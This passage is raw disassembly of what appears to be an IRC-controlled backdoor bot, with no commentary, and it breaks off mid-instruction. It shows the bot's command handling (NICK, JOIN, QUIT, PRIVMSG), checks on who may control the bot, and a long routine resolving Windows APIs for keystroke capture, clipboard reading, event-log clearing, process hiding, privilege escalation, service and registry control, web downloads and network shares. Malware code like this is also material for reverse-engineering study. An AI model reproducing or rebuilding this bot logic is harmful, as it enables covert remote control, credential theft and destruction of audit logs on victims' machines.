[ebp+arg_10] test eax, eax jz short loc_4094B2 push offset unk_429734 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4094B2: ; CODE XREF: sub_401ACD+79D9j push offset unk_429710 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4094BC: ; CODE XREF: sub_401ACD+3E49j ; sub_401ACD+3E5Ej mov eax, [ebp+arg_10] mov cl, [eax] mov byte_429094, cl movsx eax, byte ptr [eax] push eax push offset unk_4296E8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_4094D5: ; CODE XREF: sub_401ACD+3E1Fj ; sub_401ACD+3E34j push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 add esp, 0Ch jmp loc_408994 ; --------------------------------------------------------------------------- loc_409527: ; CODE XREF: sub_401ACD+3DF5j ; sub_401ACD+3E0Aj mov esi, [ebp+arg_10] push esi call sub_41B779 test eax, eax pop ecx jle loc_401E94 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_401E94 push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C pop ecx pop ecx push 1F4h nop call near ptr 26604A7h push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call dword_4CB00C push [ebp+var_10] push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEC4[eax] nop call near ptr 2670E53h push esi call sub_41B779 imul eax, 234h push esi mov dword_43DEC4[eax], ebx call sub_41B779 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43DCB0[eax], bl jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4095D5: ; CODE XREF: sub_401ACD+3DCBj ; sub_401ACD+3DE0j push [ebp+arg_10] push offset aAll ; "all" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_409641 call sub_40B2BF cmp eax, ebx jle short loc_4095FC push eax push offset unk_4296BC jmp loc_408CDB ; --------------------------------------------------------------------------- loc_4095FC: ; CODE XREF: sub_401ACD+7B22j push offset unk_429694 loc_409601: ; CODE XREF: sub_401ACD+24F9j ; sub_401ACD+2518j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_40960F: ; CODE XREF: sub_401ACD+721Dj cmp [ebp+var_8], ebx jnz short loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_409628: ; CODE XREF: sub_401ACD+6DB4j call sub_409A72 add esp, 14h loc_409630: ; CODE XREF: sub_401ACD+26F6j ; sub_401ACD+2721j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_40207D ; --------------------------------------------------------------------------- loc_409641: ; CODE XREF: sub_401ACD+7B19j mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401E94 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_40965D: ; CODE XREF: sub_401ACD+7C01j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401E94 push esi call sub_41B779 push eax call sub_40B231 pop ecx pop ecx test eax, eax push esi jz short loc_409684 push offset unk_429670 jmp short loc_409689 ; --------------------------------------------------------------------------- loc_409684: ; CODE XREF: sub_401ACD+7BAEj push offset unk_429644 loc_409689: ; CODE XREF: sub_401ACD+7BB5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4096B9 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4096B9: ; CODE XREF: sub_401ACD+7BCEj lea eax, [ebp+var_2C4] push eax call sub_4151AC add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_40965D jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4096D5: ; CODE XREF: sub_401ACD+3DA1j ; sub_401ACD+3DB6j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset dword_429DB0 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset dword_429628 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409711: ; CODE XREF: sub_401ACD+3D77j ; sub_401ACD+3D8Cj push [ebp+arg_10] push offset dword_429D14 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_429604 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409731: ; CODE XREF: sub_401ACD+3D4Dj ; sub_401ACD+3D62j push [ebp+esi+var_88] push [ebp+arg_10] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_10] push offset unk_4295E0 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409758: ; CODE XREF: sub_401ACD+3D23j ; sub_401ACD+3D38j push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_4295BC jmp loc_40984D ; --------------------------------------------------------------------------- loc_409778: ; CODE XREF: sub_401ACD+3163j ; sub_401ACD+3178j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429598 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h loc_4097B2: ; CODE XREF: sub_401ACD+7D33j push eax call near ptr 26604A7h nop loc_4097B9: ; CODE XREF: sub_401ACD+2AA2j xor eax, eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_4097C0: ; CODE XREF: sub_401ACD+3139j ; sub_401ACD+314Ej push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429570 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h imul eax, 3E8h jmp short loc_4097B2 ; --------------------------------------------------------------------------- loc_409802: ; CODE XREF: sub_401ACD+EC8j ; sub_401ACD+EDDj push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40B08D add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_42954C loc_40984D: ; CODE XREF: sub_401ACD+70B4j ; sub_401ACD+778Aj ... call sub_415220 pop ecx loc_409853: ; CODE XREF: sub_401ACD+6CB9j pop ecx loc_409854: ; CODE XREF: sub_401ACD+659j ; sub_401ACD+665j ... mov eax, [ebp+arg_24] jmp loc_401E97 ; --------------------------------------------------------------------------- loc_40985C: ; CODE XREF: sub_401ACD+AB5j ; sub_401ACD+AC8j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_10], esi jz loc_401E94 cmp [ebp+var_A4], ebx jnz loc_401E94 push offset asc_42CA28 ; "!" push [ebp+var_90] call sub_41C0F4 mov esi, eax push offset dword_4CAE2C push ebx inc esi call sub_41C0F4 push offset asc_429548 ; "~" push eax call sub_41C0F4 push [ebp+arg_10] mov edi, eax push offset aCool ; "cool" call sub_41C070 add esp, 20h test eax, eax jz short loc_4098FB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_4294C8 jmp loc_40240A ; --------------------------------------------------------------------------- loc_4098FB: ; CODE XREF: sub_401ACD+7DEAj mov [ebp+arg_24], offset off_429160 loc_409902: ; CODE XREF: sub_401ACD+7E51j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_409962 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429164 jb short loc_409902 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_429474 jmp loc_40240A ; --------------------------------------------------------------------------- loc_409962: ; CODE XREF: sub_401ACD+7E44j mov edi, [ebp+arg_18] xor esi, esi loc_409967: ; CODE XREF: sub_401ACD+7EC4j cmp [ebp+arg_10], ebx jz loc_401E94 cmp [edi], bl jnz short loc_409987 push [ebp+arg_10] push offset aCool ; "cool" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_409998 loc_409987: ; CODE XREF: sub_401ACD+7EA5j inc esi add edi, 80h cmp esi, 3 jl short loc_409967 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_409998: ; CODE XREF: sub_401ACD+7EB8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E00] push 7Fh push eax push esi call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4099CF push ebx push [ebp+var_4] push offset unk_429454 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4099CF: ; CODE XREF: sub_401ACD+7EE6j lea eax, [ebp+var_C4] push eax push offset unk_429434 jmp loc_402077 ; --------------------------------------------------------------------------- loc_4099E0: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h mov dword_4CAE24, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A2C proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C190 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 leave retn sub_409A2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A72 proc near ; CODE XREF: sub_401ACD+518p ; sub_401ACD+137Dp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409A8D mov edi, offset aPrivmsg ; "PRIVMSG" loc_409A8D: ; CODE XREF: sub_409A72+14j push edi call sub_41AFE0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41AFE0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409B10 push 7D0h call near ptr 26604A7h nop locret_409B10: ; CODE XREF: sub_409A72+91j leave retn sub_409A72 endp ; =============== S U B R O U T I N E ======================================= sub_409B12 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_42709C push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409C32 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CB020, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CAF94, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CAF78, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CAE88, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CAE34, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CAE64, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CAEDC, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CAFD4, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CB030, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CAE94, eax call esi cmp dword_4CB020, ebx mov dword_4CAE7C, eax jz short loc_409C10 cmp dword_4CAF94, ebx jz short loc_409C10 cmp dword_4CAF78, ebx jz short loc_409C10 cmp dword_4CAE88, ebx jz short loc_409C10 cmp dword_4CAE64, ebx jz short loc_409C10 cmp dword_4CAEDC, ebx jz short loc_409C10 cmp dword_4CAFD4, ebx jz short loc_409C10 cmp dword_4CB030, ebx jz short loc_409C10 cmp dword_4CAE94, ebx jz short loc_409C10 cmp eax, ebx jnz short loc_409C1A loc_409C10: ; CODE XREF: sub_409B12+B8j ; sub_409B12+C0j ... mov dword_4CB034, 1 loc_409C1A: ; CODE XREF: sub_409B12+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CAFAC, eax jz short loc_409C47 push 1 push ebx call eax jmp short loc_409C47 ; --------------------------------------------------------------------------- loc_409C32: ; CODE XREF: sub_409B12+1Dj call near ptr 2660DCFh nop mov dword_4CB038, eax mov dword_4CB034, 1 loc_409C47: ; CODE XREF: sub_409B12+117j ; sub_409B12+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 2680BAAh mov edi, eax cmp edi, ebx jz loc_409D5C push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CAFD0, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CAF80, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CAF14, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CB024, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CAF44, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CAF64, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CAFC8, eax call esi cmp dword_4CAFD0, ebx mov dword_4CAEB4, eax jz short loc_409D00 cmp dword_4CAF80, ebx jz short loc_409D00 cmp dword_4CAF14, ebx jz short loc_409D00 cmp dword_4CB024, ebx jz short loc_409D00 cmp dword_4CAF44, ebx jz short loc_409D00 cmp dword_4CAF64, ebx jz short loc_409D00 cmp dword_4CAFC8, ebx jz short loc_409D00 cmp eax, ebx jnz short loc_409D0A loc_409D00: ; CODE XREF: sub_409B12+1B8j ; sub_409B12+1C0j ... mov dword_4CB03C, 1 loc_409D0A: ; CODE XREF: sub_409B12+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CAF40, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CAE48, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CAF10, eax call esi cmp dword_4CAF40, ebx mov dword_4CAEF8, eax jz short loc_409D67 cmp dword_4CAE48, ebx jz short loc_409D67 cmp dword_4CAF10, ebx jz short loc_409D67 cmp eax, ebx jnz short loc_409D71 jmp short loc_409D67 ; --------------------------------------------------------------------------- loc_409D5C: ; CODE XREF: sub_409B12+144j nop call near ptr 2660DCFh mov dword_4CB040, eax loc_409D67: ; CODE XREF: sub_409B12+232j ; sub_409B12+23Aj ... mov dword_4CB03C, 1 loc_409D71: ; CODE XREF: sub_409B12+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409F2A push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CAFE4, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CAF28, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CAF98, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CAE74, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CAED8, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CAF50, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CAEF4, eax call esi cmp dword_4CAFE4, ebx mov dword_4CAF04, eax jz short loc_409E1A cmp dword_4CAF28, ebx jz short loc_409E1A cmp dword_4CAF98, ebx jz short loc_409E1A cmp dword_4CAE74, ebx jz short loc_409E1A cmp dword_4CAED8, ebx jz short loc_409E1A cmp dword_4CAF50, ebx jnz short loc_409E24 loc_409E1A: ; CODE XREF: sub_409B12+2DEj ; sub_409B12+2E6j ... mov dword_4CB044, 1 loc_409E24: ; CODE XREF: sub_409B12+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CAF58, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CAF30, eax call esi cmp dword_4CAF58, ebx mov dword_4CAFE0, eax jz short loc_409E5F cmp dword_4CAF30, ebx jz short loc_409E5F cmp eax, ebx jnz short loc_409E69 loc_409E5F: ; CODE XREF: sub_409B12+33Fj ; sub_409B12+347j mov dword_4CB044, 1 loc_409E69: ; CODE XREF: sub_409B12+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CAF68, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CAE50, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CAE58, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CAEBC, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CAEC0, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CAE6C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CAF34, eax call esi cmp dword_4CAF68, ebx mov dword_4CAE5C, eax jz short loc_409F0D cmp dword_4CAE50, ebx jz short loc_409F0D cmp dword_4CAE58, ebx jz short loc_409F0D cmp dword_4CAEBC, ebx jz short loc_409F0D cmp dword_4CAEC0, ebx jz short loc_409F0D cmp dword_4CAE6C, ebx jz short loc_409F0D cmp dword_4CAF34, ebx jz short loc_409F0D cmp eax, ebx jnz short loc_409F17 loc_409F0D: ; CODE XREF: sub_409B12+3C5j ; sub_409B12+3CDj ... mov dword_4CB044, 1 loc_409F17: ; CODE XREF: sub_409B12+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CAE54, eax jnz short loc_409F3F jmp short loc_409F35 ; --------------------------------------------------------------------------- loc_409F2A: ; CODE XREF: sub_409B12+26Aj call near ptr 2660DCFh nop mov dword_4CB048, eax loc_409F35: ; CODE XREF: sub_409B12+416j mov dword_4CB044, 1 loc_409F3F: ; CODE XREF: sub_409B12+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A00B push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CAF60, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CAFB8, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CAFC0, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CAF7C, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CAE98, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CAE44, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CAFBC, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CAE30, eax call esi cmp dword_4CAF60, ebx mov dword_4CAED0, eax jz short loc_40A016 cmp dword_4CAFB8, ebx jz short loc_40A016 cmp dword_4CAFC0, ebx jz short loc_40A016 cmp dword_4CAF7C, ebx jz short loc_40A016 cmp dword_4CAE98, ebx jz short loc_40A016 cmp dword_4CAE44, ebx jz short loc_40A016 cmp dword_4CAFBC, ebx jz short loc_40A016 cmp dword_4CAE30, ebx jz short loc_40A016 cmp eax, ebx jnz short loc_40A020 jmp short loc_40A016 ; --------------------------------------------------------------------------- loc_40A00B: ; CODE XREF: sub_409B12+438j call near ptr 2660DCFh nop mov dword_4CB050, eax loc_40A016: ; CODE XREF: sub_409B12+4B9j ; sub_409B12+4C1j ... mov dword_4CB04C, 1 loc_40A020: ; CODE XREF: sub_409B12+4F5j mov ebp, dword_4270B8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A2DC push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CAEE4, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CB018, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CAE84, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CAE60, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CAF20, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CAF08, eax call esi push offset aSocket ; "socket" push edi mov dword_4CAECC, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CAFF4, eax call esi push offset aConnect ; "connect" push edi mov dword_4CB010, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CAF1C, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CB000, eax call esi push offset aHtons ; "htons" push edi mov dword_4CAFB4, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CAF74, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CAF70, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CAEA4, eax call esi push offset aSend ; "send" push edi mov dword_4CAE9C, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CAFC4, eax call esi push offset aRecv ; "recv" push edi mov dword_4CAFD8, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CAF8C, eax call esi mov dword_4CAF4C, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CAFA0, eax call esi push offset aListen ; "listen" push edi mov dword_4CAF5C, eax call esi push offset aAccept ; "accept" push edi mov dword_4CAF9C, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CB008, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CAF54, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CAF18, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CAF88, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CAFF8, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CAF2C, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CAEC8, eax call esi cmp dword_4CAEE4, ebx mov dword_4CB00C, eax jz loc_40A2E7 cmp dword_4CB018, ebx jz loc_40A2E7 cmp dword_4CAE84, ebx jz loc_40A2E7 cmp dword_4CAF20, ebx jz loc_40A2E7 cmp dword_4CAF08, ebx jz loc_40A2E7 cmp dword_4CAECC, ebx jz loc_40A2E7 cmp dword_4CAFF4, ebx jz loc_40A2E7 cmp dword_4CB010, ebx jz loc_40A2E7 cmp dword_4CAF1C, ebx jz loc_40A2E7 cmp dword_4CB000, ebx jz loc_40A2E7 cmp dword_4CAFB4, ebx jz loc_40A2E7 cmp dword_4CAF74, ebx jz loc_40A2E7 cmp dword_4CAF70, ebx jz loc_40A2E7 cmp dword_4CAEA4, ebx jz short loc_40A2E7 cmp dword_4CAFC4, ebx jz short loc_40A2E7 cmp dword_4CAFD8, ebx jz short loc_40A2E7 cmp dword_4CAF8C, ebx jz short loc_40A2E7 cmp dword_4CAF4C, ebx jz short loc_40A2E7 cmp dword_4CAFA0, ebx jz short loc_40A2E7 cmp dword_4CAF5C, ebx jz short loc_40A2E7 cmp dword_4CAF9C, ebx jz short loc_40A2E7 cmp dword_4CB008, ebx jz short loc_40A2E7 cmp dword_4CAF54, ebx jz short loc_40A2E7 cmp dword_4CAF18, ebx jz short loc_40A2E7 cmp dword_4CAF88, ebx jz short loc_40A2E7 cmp dword_4CAFF8, ebx jz short loc_40A2E7 cmp dword_4CAF2C, ebx jz short loc_40A2E7 cmp eax, ebx jnz short loc_40A2F1 jmp short loc_40A2E7 ; --------------------------------------------------------------------------- loc_40A2DC: ; CODE XREF: sub_409B12+51Fj call near ptr 2660DCFh nop mov dword_4CB058, eax loc_40A2E7: ; CODE XREF: sub_409B12+6BEj ; sub_409B12+6CAj ... mov dword_4CB054, 1 loc_40A2F1: ; CODE XREF: sub_409B12+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A3F6 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CAEB0, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CAE38, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CAF3C, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CAEE8, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CAF48, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CAF0C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CAE78, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CAE70, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CAE80, eax call esi cmp dword_4CAEB0, ebx mov ecx, dword_4CAF0C mov dword_4CAFA8, eax jz short loc_40A3D2 cmp dword_4CAE38, ebx jz short loc_40A3D2 cmp dword_4CAF3C, ebx jz short loc_40A3D2 cmp dword_4CAEE8, ebx jz short loc_40A3D2 cmp dword_4CAF48, ebx jz short loc_40A3D2 cmp ecx, ebx jz short loc_40A3D2 cmp dword_4CAE78, ebx jz short loc_40A3D2 cmp dword_4CAE70, ebx jz short loc_40A3D2 cmp dword_4CAE80, ebx jz short loc_40A3D2 cmp eax, ebx jnz short loc_40A3DC loc_40A3D2: ; CODE XREF: sub_409B12+87Ej ; sub_409B12+886j ... mov dword_4CB05C, 1 loc_40A3DC: ; CODE XREF: sub_409B12+8BEj cmp ecx, ebx jz short loc_40A411 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CAF24, eax jnz short loc_40A411 jmp short loc_40A40B ; --------------------------------------------------------------------------- loc_40A3F6: ; CODE XREF: sub_409B12+7EAj call near ptr 2660DCFh nop mov dword_4CB060, eax mov dword_4CB05C, 1 loc_40A40B: ; CODE XREF: sub_409B12+8E2j mov dword_4CAF24, ebx loc_40A411: ; CODE XREF: sub_409B12+8CCj ; sub_409B12+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A45B push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CAEFC, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CB02C, eax call esi cmp dword_4CAEFC, ebx mov dword_4CAE8C, eax jz short loc_40A466 cmp dword_4CB02C, ebx jz short loc_40A466 cmp eax, ebx jnz short loc_40A470 jmp short loc_40A466 ; --------------------------------------------------------------------------- loc_40A45B: ; CODE XREF: sub_409B12+90Aj nop call near ptr 2660DCFh mov dword_4CB068, eax loc_40A466: ; CODE XREF: sub_409B12+939j ; sub_409B12+941j ... mov dword_4CB064, 1 loc_40A470: ; CODE XREF: sub_409B12+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A577 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CAE68, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CAE40, eax call esi push offset aNetschedulejob ; 